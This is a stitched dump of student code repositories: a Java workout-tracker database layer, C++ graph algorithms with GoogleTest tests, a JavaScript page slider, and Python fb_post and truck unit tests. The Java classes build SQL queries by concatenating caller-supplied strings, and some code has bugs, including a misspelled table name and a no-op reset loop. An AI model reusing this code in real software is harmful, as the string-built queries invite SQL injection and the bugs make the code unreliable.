private static String col_Group = "mg_Group";
public MuscleGroups(){}
public static boolean addMuscleGroup(Connection con, String muscleGroup){
boolean groupAdded = false;
muscleGroup = muscleGroup.toUpperCase();
try{
if(checkCriteria(muscleGroup) && !checkGroupNameExists(con,muscleGroup)){
con.setAutoCommit(false);
Statement stmt = con.createStatement();
stmt.executeUpdate("Insert into "+table+" ("+col_Group+") Value ('"+muscleGroup+"');");
con.commit();
groupAdded = checkGroupNameExists(con,muscleGroup);
}
}catch(Exception ex){
ex.printStackTrace();
}
return groupAdded;
}
public static boolean removeMuscleGroup(Connection con, String muscleGroupIndex){
boolean groupDeleted = false;
try{
if(checkGroupIndexExists(con,muscleGroupIndex)){
con.setAutoCommit(false);
Statement stmt = con.createStatement();
stmt.executeUpdate("Delete from "+table+" WHERE "+col_ID+"="+muscleGroupIndex+";");
con.commit();
groupDeleted = !checkGroupIndexExists(con,muscleGroupIndex);
}
}catch(Exception ex){
ex.printStackTrace();
}
return groupDeleted;
}
public static boolean checkGroupNameExists(Connection con, String groupName){
groupName = groupName.toUpperCase();
return checkEntityExists(con,table,col_Group,groupName);
}
public static boolean checkGroupIndexExists(Connection con, String index){
return checkEntityExists(con,table,col_ID,index);
}
public static String getGroupIndex(Connection con, String groupName){
groupName = groupName.toUpperCase();
if(checkGroupNameExists(con,groupName)){
return getInstanceSpecific(con,table,col_Group,groupName,col_ID);
}else{
return "0";
}
}
public static String getGroupName(Connection con, String index){
if(checkGroupIndexExists(con,index)){
return getInstanceSpecific(con,table,col_ID,index,col_Group);
}else{
return "0";
}
}
public static boolean checkCriteria(String name){
Pattern compile = Pattern.compile("^[\\p{Upper}][\\p{Upper}\\s]{2,20}$");
return compile.matcher(name).find();
}
}
<file_sep>/tests/Functions/MusclesTests/MuscleGetTests.java
package Functions.MusclesTests;
/**
* Created by johnn on 5/14/2017.
*/
public class MuscleGetTests {
}
<file_sep>/tests/Functions/MusclesTests/MuscleCheckTests.java
package Functions.MusclesTests;
import Functions.Database;
import Functions.MuscleGroups;
import org.junit.*;
import java.sql.Connection;
import static org.junit.Assert.*;
/**
* Created by Johnny on 5/14/2017.
*/
public class MuscleCheckTests {
private Connection con;
@Before
public void setUp() throws Exception {
con = Database.open();
}
@After
public void tearDown() throws Exception {
Database.close(con);
}
@Test
public void checkMuscleIndex() throws Exception {
}
@Test
public void checkMuscleName() throws Exception {
}
@Test
public void groupNameDoesNotExist() throws Exception {
}
@Test
public void groupIndexDoesNotExist() throws Exception {
}
}
<file_sep>/src/Functions/Exercises.java
package Functions;
import java.sql.Connection;
import java.sql.Statement;
/**
* Created by Johnny on 5/10/2017.
*/
public class Exercises extends Database{
private static String table ="exercises";
private static String col_ID = "ExID";
private static String col_Name = "Ex_Name";
private static String col_Group = "Ex_Muscle_Group";
private static String col_Muscle = "Ex_Muscle";
private static String col_Description = "Ex_Description";
private static String col_Primary = "Ex_Primary_Focus";
public Exercises(){}
public static boolean addExercise(Connection con, String name, String muscleGroup, String muscle, String description, String primary){
boolean isAdded = false;
try{
if(!checkExerciseNameExists(con,name) && Muscles.checkMuscleIndexExists(con,muscle) && MuscleGroups.checkGroupIndexExists(con,muscleGroup) && !Descriptions.checkDescriptionExists(con,description)){
Descriptions.addDescription(con,description);
String index = Descriptions.getIndexOfDescription(con,description);
Statement stmt = con.createStatement();
stmt.executeUpdate("Insert into exercies ("+col_Name+","+col_Group+","+col_Muscle+","+col_Description+","+col_Primary+") Values ("+name+","+muscleGroup+","+muscle+","+index+","+primary+");");
con.commit();
isAdded = checkExerciseNameExists(con,name);
}
}catch(Exception ex){
ex.printStackTrace();
}
close(con);
return isAdded;
}
public static boolean checkExerciseIndexExists(Connection con, String index){
return checkEntityExists(con, table, col_ID,index);
}
public static boolean checkExerciseNameExists(Connection con, String name){
return checkEntityExists(con, table, col_Name,name);
}
public static boolean checkExercisePrimaryFocus(Connection con, String exerciseID){
return getInstanceSpecific(con,table,col_ID,exerciseID,col_Primary).equals("1");
}
}
| 8979859c6b7e280e8ebc1431eb7cf12cf9f76280 | [
"Java"
] | 7 | Java | johnnymauk/Workout | 86401c090022c14853b23a36498308b609d8657b | a7645540934aa890d64a692adb5c0829e5ef410f |
refs/heads/master | <file_sep>#include "gtest/gtest.h"
#include <string>
#include <iostream>
#include <map>
#include <vector>
#include <set>
#include "src/lib/solution.h"
TEST(HelloWorldShould, ReturnHelloWorld) {
Solution solution;
std::string actual = solution.HelloWorld();
std::string expected = "HelloWorld";
EXPECT_EQ(expected, actual);
}
// Q3.1 case 1: example
TEST(BFS_distShould1, ReturnBFS_dist1) {
std::map<int, std::set<int>> edges = {
{0, {1, 2, 5}},
{1, {0, 2, 3}},
{2, {0, 1, 3}},
{3, {1, 2, 4, 6}},
{4, {3}},
{5, {0}},
{6, {3}}
};
Graph graph{edges};
std::map<int, int> actual = graph.BFS_dist(0);
std::map<int, int> expected = {
{0, 0},
{1, 1},
{2, 1},
{5, 1},
{3, 2},
{4, 3},
{6, 3}
};
EXPECT_EQ(expected, actual);
}
// Q3.1 case 2: different start point
TEST(BFS_distShould2, ReturnBFS_dist2) {
std::map<int, std::set<int>> edges = {
{0, {1, 2, 5}},
{1, {0, 2, 3}},
{2, {0, 1, 3}},
{3, {1, 2, 4, 6}},
{4, {3}},
{5, {0}},
{6, {3}}
};
Graph graph{edges};
std::map<int, int> actual = graph.BFS_dist(3);
std::map<int, int> expected = {
{3, 0},
{1, 1},
{2, 1},
{4, 1},
{6, 1},
{0, 2},
{5, 3}
};
EXPECT_EQ(expected, actual);
}
// Q3.2 case 1: example
TEST(BFS_pathShould1, ReturnBFS_path1) {
std::map<int, std::set<int>> edges = {
{0, {1, 2, 5}},
{1, {0, 2, 3}},
{2, {0, 1, 3}},
{3, {1, 2, 4, 6}},
{4, {3}},
{5, {0}},
{6, {3}}
};
Graph graph{edges};
std::map<int, std::vector<int>> actual = graph.BFS_path(0);
std::map<int, std::vector<int>> expected = {
{0, {0}},
{1, {0, 1}},
{2, {0, 2}},
{5, {0, 5}},
{3, {0, 1, 3}},
{4, {0, 1, 3, 4}},
{6, {0, 1, 3, 6}}
};
EXPECT_EQ(expected, actual);
}
// Q3.2 case 2: different start point
TEST(BFS_pathShould2, ReturnBFS_path2) {
std::map<int, std::set<int>> edges = {
{0, {1, 2, 5}},
{1, {0, 2, 3}},
{2, {0, 1, 3}},
{3, {1, 2, 4, 6}},
{4, {3}},
{5, {0}},
{6, {3}}
};
Graph graph{edges};
std::map<int, std::vector<int>> actual = graph.BFS_path(3);
std::map<int, std::vector<int>> expected = {
{3, {3}},
{1, {3, 1}},
{2, {3, 2}},
{4, {3, 4}},
{6, {3, 6}},
{0, {3, 1, 0}},
{5, {3, 1, 0, 5}}
};
EXPECT_EQ(expected, actual);
}
// Q4.1 case 1: example
TEST(findRootShould1, ReturnfindRoot1) {
std::map<int, std::set<int>> edges = {
{0, {}},
{1, {0}},
{2, {1}},
{3, {1}},
{4, {}},
{5, {2, 4}},
{6, {3, 4}},
{7, {5, 6}}
};
Graph graph{edges};
std::set<int> actual = graph.findRoot();
std::set<int> expected = {7};
EXPECT_EQ(expected, actual);
}
// Q4.1 case 2: add more roots
TEST(findRootShould2, ReturnfindRoot2) {
std::map<int, std::set<int>> edges = {
{0, {1}},
{1, {}},
{2, {1}},
{3, {1}},
{4, {5, 6}},
{5, {2}},
{6, {3}},
{7, {5, 6}}
};
Graph graph{edges};
std::set<int> actual = graph.findRoot();
std::set<int> expected = {0, 4, 7};
EXPECT_EQ(expected, actual);
}
// Q4.2 case 1: example
TEST(topoSortShould1, ReturntopoSort1) {
std::map<int, std::set<int>> edges = {
{0, {}},
{1, {0}},
{2, {1}},
{3, {1}},
{4, {}},
{5, {2, 4}},
{6, {3, 4}},
{7, {5, 6}}
};
Graph graph{edges};
std::vector<int> actual = graph.topoSort();
std::vector<int> expected = {7, 6, 3, 5, 4, 2, 1, 0};
EXPECT_EQ(expected, actual);
}
// Q4.2 case 2: add more roots
TEST(topoSortShould2, ReturnTopoSort2) {
std::map<int, std::set<int>> edges = {
{0, {1}},
{1, {}},
{2, {1}},
{3, {1}},
{4, {5, 6}},
{5, {2}},
{6, {3}},
{7, {5, 6}}
};
Graph graph{edges};
std::vector<int> actual = graph.topoSort();
std::vector<int> expected = {0, 4, 7, 6, 3, 5, 2, 1};
EXPECT_EQ(expected, actual);
}
// Q5case 1: example
TEST(inShortestSortShould1, ReturninShortest1) {
std::map<int, std::set<int>> edges = {
{0, {1, 4, 5}},
{1, {0, 2, 3}},
{2, {1, 3, 8}},
{3, {1, 2}},
{4, {0}},
{5, {0, 6}},
{6, {5, 7, 8}},
{7, {6, 8}},
{8, {2, 6, 7}}
};
Graph graph{edges};
std::vector<bool> actual = graph.inShortest();
std::vector<bool> expected = {true, true, true, false, false, true, true, false, true};
EXPECT_EQ(expected, actual);
}
// Q5case 2: example from Q3
TEST(inShortestSortShould2, ReturninShortest2) {
std::map<int, std::set<int>> edges = {
{0, {1, 2, 5}},
{1, {0, 2, 3}},
{2, {0, 1, 3}},
{3, {1, 2, 4, 6}},
{4, {3}},
{5, {0}},
{6, {3}}
};
Graph graph{edges};
std::vector<bool> actual = graph.inShortest();
std::vector<bool> expected = {true, true, true, true, false, false, true};
EXPECT_EQ(expected, actual);
}
// Q5case 2: not connected
TEST(inShortestSortShould3, ReturninShortest3) {
std::map<int, std::set<int>> edges = {
{0, {1}},
{1, {0}},
{2, {3}},
{3, {2}}
};
Graph graph{edges};
std::vector<bool> actual = graph.inShortest();
std::vector<bool> expected = {false, false, false, false};
EXPECT_EQ(expected, actual);
}<file_sep>#include "solution.h"
#include <string>
#include <iostream>
#include <queue>
#include <set>
#include <stack>
std::string Solution::HelloWorld() {
return "HelloWorld";
}
// Q3
std::map<int, int> Graph::BFS_dist(int root) {
std::map<int, int> dist;
std::map<int, int> marks;
std::queue<int> q;
q.push(root);
marks[root] = 1;
dist[root] = 0;
while (!q.empty()) {
int cur = q.front();
q.pop();
for (auto &n : v_[cur]) {
if (!marks[n]) {
marks[n] = 1;
// neighbor vertex distance = current vertex distance + 1
dist[n] = dist[cur] + 1;
q.push(n);
}
}
}
return dist;
}
// Q3
std::map<int, std::vector<int>> Graph::BFS_path(int root) {
std::map<int, std::vector<int>> path;
std::map<int, int> marks;
std::queue<int> q;
q.push(root);
marks[root] = 1;
path[root] = {root};
while (!q.empty()) {
int cur = q.front();
q.pop();
for (auto &n : v_[cur]) {
if (!marks[n]) {
marks[n] = 1;
path[n] = path[cur];
path[n].push_back(n);
q.push(n);
}
}
}
return path;
}
// Q4
std::set<int> Graph::findRoot(){
std::set<int> roots;
for (auto &n : v_) {
roots.insert(n.first);
}
for (auto &n : v_) {
for (auto &m : v_[n.first]) {
if (roots.find(m) != roots.end()) {
roots.erase(m);
}
}
}
return roots;
}
// Q4
std::vector<int> Graph::topoSort() {
std::vector<int> topo;
std::stack<int> travStack; // traversal stack
std::stack<int> topoStack; // topological sort stack
std::map<int, int> marks;
std::set<int> roots = findRoot();
for (auto &n : roots) {
travStack.push(n);
}
while (!travStack.empty()) {
int curNode = travStack.top();
bool allVisited = true;
// iterate neighbors of current node
for (auto &n : v_[curNode]) {
// if not visited
if (!marks[n]) {
// set it to visited
marks[n] = 1;
// push neighbor to stack
travStack.push(n);
// set allVisited flag to false
allVisited = false;
break;
}
}
// if all neighbors are visited / no neighbor at all
// this is the deepest node in current path
// push it to topoStack
if (allVisited) {
// pop current node
travStack.pop();
// push curNode to topoStack
topoStack.push(curNode);
}
}
while (!topoStack.empty()) {
topo.push_back(topoStack.top());
topoStack.pop();
}
return topo;
}
// Q5
bool Graph::inShortestHelper(int curNode, int curLevel, int &minLevel, std::vector<bool> &out, std::map<int, int> &dist) {
// if current level is greater than min level achieved so far
// return false immediately
if (curLevel > minLevel) {
return false;
}
// if current level is within min level range
// and current node == end node
// we found a shortest path
else if (curNode == v_.size() - 1) {
// if current level == min level
// we have the same shortest length
// simply set nodes along the path to true
if (curLevel == minLevel) {
out[curNode] = true;
return true;
}
// if current level < min level
// we have found a shorter path
// set all nodes in the previous "shortest path" to false
// update the new min level
// set nodes long this new path to true
else if (curLevel < minLevel) {
minLevel = curLevel;
for (auto n : out) {
n = false;
}
out[curNode] = true;
return true;
}
}
// if max level is not reached
// and end node is not found
// keep searching deeper
else {
bool flagInShortest = false;
for (auto n : v_[curNode]) {
if (dist[n] > dist[curNode]) {
// if shortest path exists under this node, set this node to true
if (inShortestHelper(n, curLevel + 1, minLevel, out, dist)) {
out[curNode] = true;
}
}
}
return out[curNode];
}
// current node doesn't have other unvisited neighbors
// and current node is not equal to the end node
// return false
return false;
}
// Q5
std::vector<bool> Graph::inShortest() {
int root = 0;
std::vector<bool> out(v_.size(), false);
// get depth (level) for each node
// so that BFS can visit same node without going backward
// by always going for deeper nodes
// (same node can be shared by different shortest paths)
// (therefore the old marks fashion doesn't work here)
std::map<int, int> dist = BFS_dist(0);
int minLevel = v_.size();
inShortestHelper(0, 0, minLevel, out, dist);
return out;
}<file_sep>#include <iostream>
#include "src/lib/solution.h"
int main(int argc, char* argv[]) {
Solution solution;
std::cout << solution.HelloWorld() << std::endl;
return EXIT_SUCCESS;
}<file_sep>HW7
Github: https://github.com/lding-code/EE599-HW7
Q1
1. A path in a graph is a set of connected edges that connects one vertex to another.
2. A simple path is a path that does not have cycles (no repeated vertices).
3. A cycle is a path in which a vertex is included for multiple times in a path.
4. Topological sort is defined in graphs that are directed and acyclic. In topological sort, origin vertices always come before destination vertices.
Q2
see inclueded png picture "Q2 Floyd-Warshall.png".
Q3
3.1: implemented as BFS_dist() method of Graph class. The return value is a map of shortest distances to all nodes.
Runtime = O(E+V): every node and edge is visited once. The distance to each node is simply calculated by adding 1 to distance to the previous visited node during the BFS. The complexity is not changed by introducing such addition.
3.2: implemented as BFS_path() method of Graph class. The return calue is a map of nodes and corresponding vector representing shortest path to each node.
Runtime = O (E+V): same reason as 3.1
Q4
The function is splitted into two methods:
4.1: findRoot() of class Graph that finds root nodes.
Runtime = O(E+V): each node and edge are visited for once to find the root nodes.
4.2: topoSort() of class Graph that finds topological sort of the graph.
Runtime = O(E+V+E+V) = O(2(E+V)) = O(E+V): a DFS is used to traverse all nodes and find deepest nodes possible and put them in a stack. After ndoes are pushed into stack in the order of depth. The stack is popped to get the topological sort. Traversal takes O(E+V) and using the stack take another O(E+V)
Q5
implemented as inShortest() methods of class Graph. It utilizes a helper function inShortestHelper() that traverses the graph recursively using DFS and return true if a shrotest path is reached. Comments in the source file explains how it is implemented.
Runtime = O(E+V): In worst case, all nodes will be visited which takes O(E+V). it could take less time if the "end node" is not at the very end (largest depth) of the graph.
All code passed GTest. Please see comment for implementation details.<file_sep>#ifndef TEMPLATE_SOLUTION_H
#define TEMPLATE_SOLUTION_H
#include <string>
#include <vector>
#include <map>
#include <set>
class Solution {
public:
std::string HelloWorld();
};
class Graph {
public:
// member variables
std::map<int, std::set<int>> v_;
// constructor
Graph(std::map<int, std::set<int>> edgeMap) : v_(edgeMap) {}
// member methods
// Q3
std::map<int, int> BFS_dist(int root);
std::map<int, std::vector<int>> BFS_path(int root);
// Q4
std::set<int> findRoot();
std::vector<int> topoSort();
// Q5
bool inShortestHelper(int curNode, int curLevel, int &minLevel, std::vector<bool> &out, std::map<int, int> &dist);
std::vector<bool> inShortest();
};
#endif | 67b026ef842da6ecacb9271c9d381433617fd3d3 | [
"Markdown",
"C++"
] | 5 | C++ | lding-code/EE599-HW7 | f04fd4f68f85c9ffc85fa194f14b0833e95ba6f1 | bc0e1b4853177705fca6dde87ca8bd3775df0e75 |
refs/heads/master | <file_sep>const bodyWrapper = document.querySelector('.page__body');
const sliderItem = document.querySelectorAll('.slider__item');
const sliderButton = document.querySelectorAll('.slider__menu__button');
sliderButton.forEach((btn) => {
btn.addEventListener('click', function () {
sliderItem.forEach((item) => {
if (btn.dataset.slider == item.dataset.slider) {
item.classList.remove('visually-hidden');
if (item.getAttribute('data-slider') == 'slider-1') {
bodyWrapper.classList.add('page__body--slide--1')
bodyWrapper.classList.remove('page__body--slide--2')
bodyWrapper.classList.remove('page__body--slide--3')
} else if (item.getAttribute('data-slider') == 'slider-2') {
bodyWrapper.classList.add('page__body--slide--2')
bodyWrapper.classList.remove('page__body--slide--1')
bodyWrapper.classList.remove('page__body--slide--3')
} else if (item.getAttribute('data-slider') == 'slider-3') {
bodyWrapper.classList.add('page__body--slide--3')
bodyWrapper.classList.remove('page__body--slide--1')
bodyWrapper.classList.remove('page__body--slide--2')
}
} else {
item.classList.add('visually-hidden');
}
});
});
});
const modal = document.querySelector('.modal__feedback')
const modalBtn = document.querySelector('.contacts__button');
const modalClose = modal.querySelector('.close__button');
const modalUserName = modal.querySelector('[name=user-name]');
const modalUserMail = modal.querySelector('[name=user-mail]');
const isStorageSupport = true;
let storage = ''
try {
storage = localStorage.getItem('userName')
} catch (err) {
isStorageSupport = false;
}
modalBtn.addEventListener('click', function (event) {
event.preventDefault();
modal.classList.remove('visually-hidden');
modal.classList.add('modal-show');
modalUserName.focus()
if (storage) {
modalUserName.value = storage;
}
});
modalClose.addEventListener('click', function () {
modal.classList.add('visually-hidden');
modal.classList.remove('modal-show');
modal.classList.remove('modal-error')
});
modal.addEventListener('submit', function (event) {
if (!modalUserName.value || !modalUserMail.value) {
console.log('privet')
event.preventDefault();
modal.classList.add('modal-error')
modal.classList.remove('modal-error')
} else {
if (isStorageSupport) {
localStorage.setItem('userName', modalUserName.value);
}
}
});
window.addEventListener('keydown', function (evt) {
if (evt.keyCode === 27) {
if (!modal.classList.contains('visually-hidden')) {
evt.preventDefault();
modal.classList.add('visually-hidden');
}
}
});
| f2c1fd955dad3d6278bc16174417fd49a4080081 | [
"JavaScript"
] | 1 | JavaScript | Cinetx/806853-gllacy-29 | f9133bc61003c2666859dc498635e43cab4791c9 | 4d2499df86b094f7994de8dffc5d8207d90fbba6 |
refs/heads/master | <repo_name>GVK289/aws_folders<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_react_to_comment.py
import pytest
from fb_post.exceptions import InvalidUserException, InvalidCommentException
from fb_post.exceptions import InvalidReactionTypeException
from fb_post.constants import ReactionType
from fb_post.models import Reaction
from fb_post.utils import react_to_comment
pytestmark = pytest.mark.django_db
def test_react_to_comment_when_user_id_is_invalid_raises_invalid_user_exception(comment):
# Arrange
invalid_user_id = 100
comment_id = 3
reaction_type = ReactionType.HAHA.value
# Act
with pytest.raises(InvalidUserException):
assert react_to_comment(invalid_user_id, comment_id, reaction_type)
def test_react_to_comment_when_comment_id_is_invalid_raises_invalid_comment_exception(comment):
# Arrange
user_id = 1
invalid_comment_id = 100
reaction_type = ReactionType.HAHA.value
# Act
with pytest.raises(InvalidCommentException):
assert react_to_comment(user_id, invalid_comment_id, reaction_type)
def test_react_to_comment_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception(comment):
# Arrange
user_id = 1
comment_id = 1
invalid_reaction_type = 'reaction1'
# Act
with pytest.raises(InvalidReactionTypeException):
assert react_to_comment(user_id, comment_id, invalid_reaction_type)
def test_react_to_comment_create_reaction_if_user_is_reacting_to_post_for_first_time_with_valid_details_creates_reaction_object(comment, reaction):
# Arrange
user_id = 1
comment_id = 5
reaction_type = ReactionType.HAHA.value
# Act
react_to_comment(user_id, comment_id, reaction_type)
# Asset
assert Reaction.objects.filter(comment_id=comment_id).exists()
assert Reaction.objects.filter(comment_id=comment_id,
reacted_by_id=user_id).exists()
assert Reaction.objects.filter(reaction=reaction_type).exists()
def test_react_to_comment_when_user_already_reacted_to_post_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user(reaction_to_comments):
# Arrange
user_id = 2
comment_id = 1
reaction_type = ReactionType.LIT.value
# Act
react_to_comment(user_id, comment_id, reaction_type)
# Asset
with pytest.raises(Reaction.DoesNotExist):
assert Reaction.objects.get(comment_id=comment_id,
reacted_by_id=user_id,
reaction=reaction_type)
def test_react_to_comment_when_user_already_reacted_to_post_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time(reaction_to_comments):
# Arrange
user_id = 2
comment_id = 1
old_reaction_type = ReactionType.LIT.value
reaction_type = ReactionType.SAD.value
old_reaction_obj = Reaction.objects.get(comment_id=comment_id,
reacted_by_id=user_id,
reaction=old_reaction_type)
# Act
react_to_comment(user_id, comment_id, reaction_type)
# Asset
new_reaction_object = Reaction.objects.get(comment_id=comment_id,
reacted_by_id=user_id,
reaction=reaction_type)
assert old_reaction_obj.comment_id == new_reaction_object.comment_id
assert old_reaction_obj.reacted_by_id == new_reaction_object.reacted_by_id
assert not old_reaction_obj.reaction == new_reaction_object.reaction
assert new_reaction_object.reaction == reaction_type
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_truck_accelerate.py
import pytest
from truck import Truck
def test_truck_object_accelerate_when_engine_is_started_returns_current_speed(truck):
# Arrange
truck.start_engine()
current_speed = 40
# Act()
truck.accelerate()
# Assert
assert truck.current_speed == current_speed
def test_truck_object_accelerate_when_truck_object_current_speed_is_equal_to_truck_object_max_limit_returns_max_speed(truck):
# Arrange
truck.start_engine()
max_speed = 200
# Act
truck.accelerate()
truck.accelerate()
truck.accelerate()
truck.accelerate()
truck.accelerate()
# Assert
assert truck.current_speed == max_speed
def test_truck_object_accelerate_when_truck_engine_is_stop_returns_start_the_engine_to_accelerate(capsys, truck):
# Act
truck.accelerate()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Start the engine to accelerate\n'
@pytest.mark.parametrize(
"""color, max_speed, acceleration,
tyre_friction, max_cargo_weight""", [
('Red', 1, 1, 1, 1), ('Blue', 150, 30, 10, 200),
('Black', 200, 40, 10, 180)])
def test_truck_object_accelerate_when_truck_object_current_speed_is_more_than_truck_object_max_limit_returns_max_speed(color, max_speed, acceleration, tyre_friction, max_cargo_weight):
# Arrange
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
truck.start_engine()
# Act
truck.accelerate()
truck.accelerate()
truck.accelerate()
truck.accelerate()
truck.accelerate()
truck.accelerate()
truck.accelerate()
# Asset
assert truck.current_speed == max_speed
def test_truck_object_current_speed_when_truck_object_is_in_idle_postion_intially_returns_zero():
# Arrange
truck = Truck(color='Red', max_speed=180, acceleration=45,
tyre_friction=4, max_cargo_weight=150)
# Act
truck_idle_initial_speed = truck.current_speed
# Assert
assert truck_idle_initial_speed == 0
def test_truck_object_current_speed_when_truck_object_is_stop_from_motion_returns_current_speed():
# Arrange
truck = Truck(color='Red', max_speed=180, acceleration=45,
tyre_friction=4, max_cargo_weight=100)
truck.start_engine()
current_speed = 135
truck.accelerate()
truck.accelerate()
truck.accelerate()
# Act
truck.stop_engine()
# Assert
assert truck.current_speed == current_speed
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_reply_to_comment.py
from fb_post.models import Comment
from .fb_post_exception_methods import (check_whether_user_id_exists,
check_whether_reply_ccontent_exists,
return_comment_if_comment_id_exists)
def reply_to_comment(user_id, comment_id, reply_content):
check_whether_user_id_exists(user_id)
comment = return_comment_if_comment_id_exists(comment_id)
check_whether_reply_ccontent_exists(reply_content)
parent_comment_id_is_not_none = comment.parent_comment_id != None
if parent_comment_id_is_not_none:
comment_id = comment.parent_comment_id
new_comment_object = (Comment.objects
.create(commented_by_id=user_id,
post_id=comment.post_id,
parent_comment_id=comment_id,
content=reply_content))
return new_comment_object.id
<file_sep>/backend-PY/car1.py
class Car:
def __init__(self, in_color,car_type, car_acc):
#print('GVK')
self.color = in_color
self.accleration = car_acc
self.type = car_type
self.current_speed = 100
self.decelerate = 15
def accelerate(self):
self.current_speed += self.accleration
def brake(self):
if self.current_speed>15:
self.current_speed -= self.decelerate
elif self.current_speed<15:
self.current_speed = 0<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_create_comment.py
import datetime
import pytest
from freezegun import freeze_time
from fb_post.exceptions import InvalidUserException, InvalidPostException
from fb_post.exceptions import InvalidCommentContent
from fb_post.models import Comment
from fb_post.utils import create_comment
pytestmark = pytest.mark.django_db
def test_create_comment_when_user_id_is_invalid_raises_invalid_user_exception(post):
# Arrange
invalid_user_id = 100
post_id = 1
comment_content = 'comment1'
# Act
with pytest.raises(InvalidUserException):
assert create_comment(invalid_user_id, post_id, comment_content)
def test_create_comment_when_post_id_is_invalid_raises_invalid_post_exception(post):
# Arrange
user_id = 1
invalid_post_id = 100
comment_content = 'comment1'
# Act
with pytest.raises(InvalidPostException):
assert create_comment(user_id, invalid_post_id, comment_content)
def test_create_comment_when_comment_content_is_invalid_raises_invalid_comment_content_exception(post):
# Arrange
user_id = 1
post_id = 1
invalid_comment_content = ''
# Act
with pytest.raises(InvalidCommentContent):
assert create_comment(user_id, post_id, invalid_comment_content)
@freeze_time("2010-01-14")
def test_create_comment_when_valid_user_id_and_comment_content_are_given_creates_comment_object_and_returns_comment_id(post):
# Arrange
user_id = 1
post_id = 1
comment_content = 'comment1'
commented_at = datetime.datetime.now()
# Act
create_comment(user_id, post_id, comment_content)
# Assert
comment_object = Comment.objects.get(commented_by_id=user_id,
post_id=post_id)
assert comment_object.commented_by_id == user_id
assert comment_object.post_id == post_id
assert comment_object.content == comment_content
assert comment_object.commented_at.replace(tzinfo=None) == commented_at
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/.~c9_invoke_y82nnh.py
from django.test import TestCase
# Create your tests here.
from fb_post.utils import *
import pytest
from freezegun import freeze_time
import datetime
pytestmark = pytest.mark.django_db
@pytest.fixture
def user():
user_list = [{'name':'user1', 'profile_pic':'user1_pic'},{'name':'user10', 'profile_pic':'user10_pic'}, {'name':'user3', 'profile_pic':'user3_pic'}, {'name':'user4', 'profile_pic':'user4_pic'}, {'name':'user5', 'profile_pic':'user5_pic'}
]
User.objects.bulk_create([User(name = user_dict['name'], profile_pic = user_dict['profile_pic']) for user_dict in user_list])
@pytest.fixture
def post(user):
post_list = [{'content':'post1','posted_by_id':1},
{'content':'post2','posted_by_id':1},
{'content':'post3','posted_by_id':2},
{'content':'post4','posted_by_id':3},
{'content':'post5','posted_by_id':4}
]
Post.objects.bulk_create([Post(content = post_dict['content'], posted_by_id = post_dict['posted_by_id']) for post_dict in post_list])
@pytest.fixture
@freeze_time("2001-01-16")
def comment(user,post):
comment_list = [{'content':'comment1','post_id':1}
]
content = 'comment1'
post = Post.objects.get(content = 'post1')
user = User.objects.get(name = 'user1')
Comment.objects.create(content = content, post = post, commented_by = user, commented_at = datetime.datetime.now())
" Task 02 "
def test_create_post_when_user_is_inavlid_raises_inavlid_user_exception(user):
# Arrange
invalid_user_id = 10
post_content = 'post1'
# Act
with pytest.raises(InvalidUserException) as e: # Asserting the exception
assert create_post(invalid_user_id, post_content)
def test_create_post_when_post_content_is_inavlid_raises_inavlid_post_content_exception(user):
# Arrange
valid_user_id = User.objects.get(name = 'user1').id
post_content = ''
# Act
with pytest.raises(InvalidPostContent) as e: # Asserting the exception
assert create_post(valid_user_id, post_content)
@freeze_time("100110-01-14")
def test_create_post_when_valid_user_id_and_post_content_are_given_returns_post_id(user):
# Arrange
user_id = User.objects.get(name = 'user1').id
# Act
post_id = create_post(user_id,'post1')
# Assert
post_object = Post.objects.get(id = post_id)
assert post_object.posted_by_id == user_id
assert post_object.content == 'post1'
assert post_object.posted_at.replace(tzinfo = None) == datetime.datetime.now()
" Task 03 "
def test_create_comment_when_user_id_is_inavlid_raises_inavlid_user_exception(user, post):
# Arrange
invalid_user_id = 10
post_id = Post.objects.get(content = 'post1').id
comment_content = 'comment1'
# Act
with pytest.raises(InvalidUserException) as e: # Asserting the exception
assert create_comment(invalid_user_id, post_id, comment_content)
def test_create_comment_when_post_id_is_inavlid_raises_inavlid_post_exception(user, post):
# Arrange
user_id = User.objects.get(name = 'user1').id
invalid_post_id = 10
comment_content = 'comment1'
# Act
with pytest.raises(InvalidPostException) as e: # Asserting the exception
assert create_comment(user_id, invalid_post_id, comment_content)
def test_create_comment_when_comment_content_is_inavlid_raises_inavlid_comment_content_exception(user, post):
# Arrange
user_id = User.objects.get(name = 'user1').id
post_id = Post.objects.get(content = 'post1').id
invalid_comment_content = ''
# Act
with pytest.raises(InvalidCommentContent) as e: # Asserting the exception
assert create_comment(user_id, post_id, invalid_comment_content)
@freeze_time("100110-01-14")
def test_create_comment_when_valid_user_id_and_comment_content_are_given_returns_created_comment_id(user, post):
# Arrange
user_id = User.objects.get(name = 'user1').id
post_id = Post.objects.get(content = 'post1').id
comment_content = 'comment1'
# Act
create_comment(user_id, post_id, comment_content)
# Assert
comment_object = Comment.objects.get(commented_by_id = user_id)
assert comment_object.commented_by_id == user_id
assert comment_object.post_id == post_id
assert comment_object.content == 'comment1'
assert comment_object.commented_at.replace(tzinfo = None) == datetime.datetime.now()
" Task 04 "
def test_reply_to_comment_when_user_id_is_inavlid_raises_inavlid_user_exception(user,post,comment):
# Arrange
invalid_user_id = 10
comment_id = Comment.objects.get(content = 'comment1').id
reply_content = 'reply to comment1'
# Act
with pytest.raises(InvalidUserException) as e: # Asserting the exception
assert reply_to_comment(invalid_user_id, comment_id, reply_content)
def test_reply_to_comment_when_comment_id_is_inavlid_raises_inavlid_comment_exception(user,post,comment):
# Arrange
user_id = User.objects.get(name = 'user1').id
invalid_comment_id = 10
reply_content = 'reply to comment1'
# Act
with pytest.raises(InvalidCommentException) as e: # Asserting the exception
assert reply_to_comment(user_id, invalid_comment_id, reply_content)
def test_reply_to_comment_when_reply_content_is_inavlid_raises_inavlid_reply_content_exception(user,post,comment):
# Arrange
